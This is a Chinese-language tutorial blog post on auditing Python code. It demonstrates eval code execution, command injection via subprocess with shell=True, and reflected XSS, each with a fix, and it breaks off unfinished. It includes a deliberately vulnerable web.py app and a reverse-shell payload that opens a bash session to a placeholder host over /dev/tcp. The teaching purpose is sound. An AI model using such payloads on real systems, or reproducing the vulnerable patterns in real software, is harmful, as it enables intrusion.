最近工作中接触到python代码审计方面的知识,写篇文章简单总结下。
在审计代码之前可以用bandit进行白盒扫描,根据结果再去分析是否有具体的漏洞。
bandit安装:pip install bandit 0x01 代码执行在审python代码的时候,发现很多类似eval(xx)之类的代码,并且xx外部认为可控导致python的任意代码执行。 这种情况大多用在将一个字符串转换为dict的情况。 比如 - >>> x='{"name": "joychou"}'
- >>> print type(x)
- <type 'str'>
- >>> a=eval(x)
- >>> print type(a)
- <type 'dict'>
- >>> print a
- {'name': 'joychou'}
复制代码payload: - >>> eval("__import__('os').system('whoami')")
- root
- 0
复制代码可以用ast.literal_eval替换eval - >>> ast.literal_eval("os.system('whoami')")
- Traceback (most recent call last):
- File "<stdin>", line 1, in <module>
- File "ast.py", line 68, in literal_eval
- return _convert(node_or_string)
- File "ast.py", line 67, in _convert
- raise ValueError('malformed string')
- ValueError: malformed string
复制代码修复方案: - 使用eval的时候对参数进行过滤
- 或者使用ast.literal_eval
- 或者使用json.loads将字符串转换为dict(如果功能一样)
0x02 命令注入python中有很多方法os.system, os.popen, subprocess.call都可以执行shell命令。如果在执行命令的时候,参数是外部人为可控,那么就能造成命令执行漏洞。 我用webpy写了一份有漏洞代码: - #coding:utf-8
- import web
- import subprocess
- urls = (
- '/code/', 'codeaudit'
- )
- class codeaudit:
- def GET(self):
- user_data = web.input(domain = '127.0.0.1')
- domain = user_data.domain
- print '[+]domain: %s' % (domain)
- self.count_lines(domain)
- def count_lines(self, domain):
- cmd = "curl '%s' | wc -l" % (domain)
- print cmd
- subprocess.call(cmd, shell=True)
- if __name__ == "__main__":
- app = web.application(urls, globals())
- app.run()
复制代码由于参数domain未做过滤,外部人为可控。并且使用shell=True的参数,可执行linux的bash shell,最后导致命令执行。 反弹shell的payload: - http://www.sectest.com:8080/code/?domain=www.joychou.org'|bash -i >%26 /dev/tcp/x.x.x.x/1234 0>%261 | grep '
复制代码注意&符号要进行url编码%26,否则在url里会被认为是下一个参数。 由于命令行中存在管道符|,所以如果直接将shell=True改为shel=False,会调用失败。
所以修复方案直接将True修改为False在使用管道符的时候行不通。 不存在管道符: - >>> subprocess.call('whoami',shell=False)
- root
- 0
复制代码存在管道符: - >>> subprocess.call('whoami | grep xx',shell=False)
- Traceback (most recent call last):
- File "<stdin>", line 1, in <module>
- File "/usr/lib64/python2.6/subprocess.py", line 478, in call
- p = Popen(*popenargs, **kwargs)
- File "/usr/lib64/python2.6/subprocess.py", line 642, in __init__
- errread, errwrite)
- File "/usr/lib64/python2.6/subprocess.py", line 1238, in _execute_child
- raise child_exception
- OSError: [Errno 2] No such file or directory
复制代码correct: - def count_lines(website):
- args = ['curl', website]
- args2 = ['wc', '-l']
- process_curl = subprocess.Popen(args, stdout=subprocess.PIPE,
- shell=False)
- process_wc = subprocess.Popen(args2, stdin=process_curl.stdout,
- stdout=subprocess.PIPE , shell=False)
- # Allow process_curl to receive a SIGPIPE if process_wc exits.
- process_curl.stdout.close()
- return process_wc.communicate()[0]
- # >>> count_lines('www.google.com')
- # '7\n'
复制代码漏洞修复: - 对参数进行过滤(简单粗暴)
- 使用subprocess.Popen
0x03 xssincorrect - def GET(self):
- web.header('Content-Type','text/html; charset=utf-8', unique=True)
- user_data = web.input(domain = '127.0.0.1')
- domain = user_data.domain
- #return render('hello.html', domain=domain)
- #return "Hello %s" % escape(domain)
- return "Hello %s" % domain
复制代码correct 使用escape进行html编码 - from flask import escape
- def GET(self):
- web.header('Content-Type','text/html; charset=utf-8', unique=True)
- user_data = web.input(domain = '127.0.0.1')
- domain = user_data.domain
- return "Hello %s" % escape(domain)
复制代码漏洞修复: - escape html编码
- render(django python框架)
- 对参数进行过滤
0x04 任意文件下载如果有下载功能的代码,需要检查参数是否外部可控。
如果可控,检查是否有做过滤,没过滤则有任意文件下载漏洞。 看到一份代码过滤如下: - path = path.replace('|', '').replace(' ', '').replace('../', '').replace(';', '')
复制代码未完待续…… 参考链接
|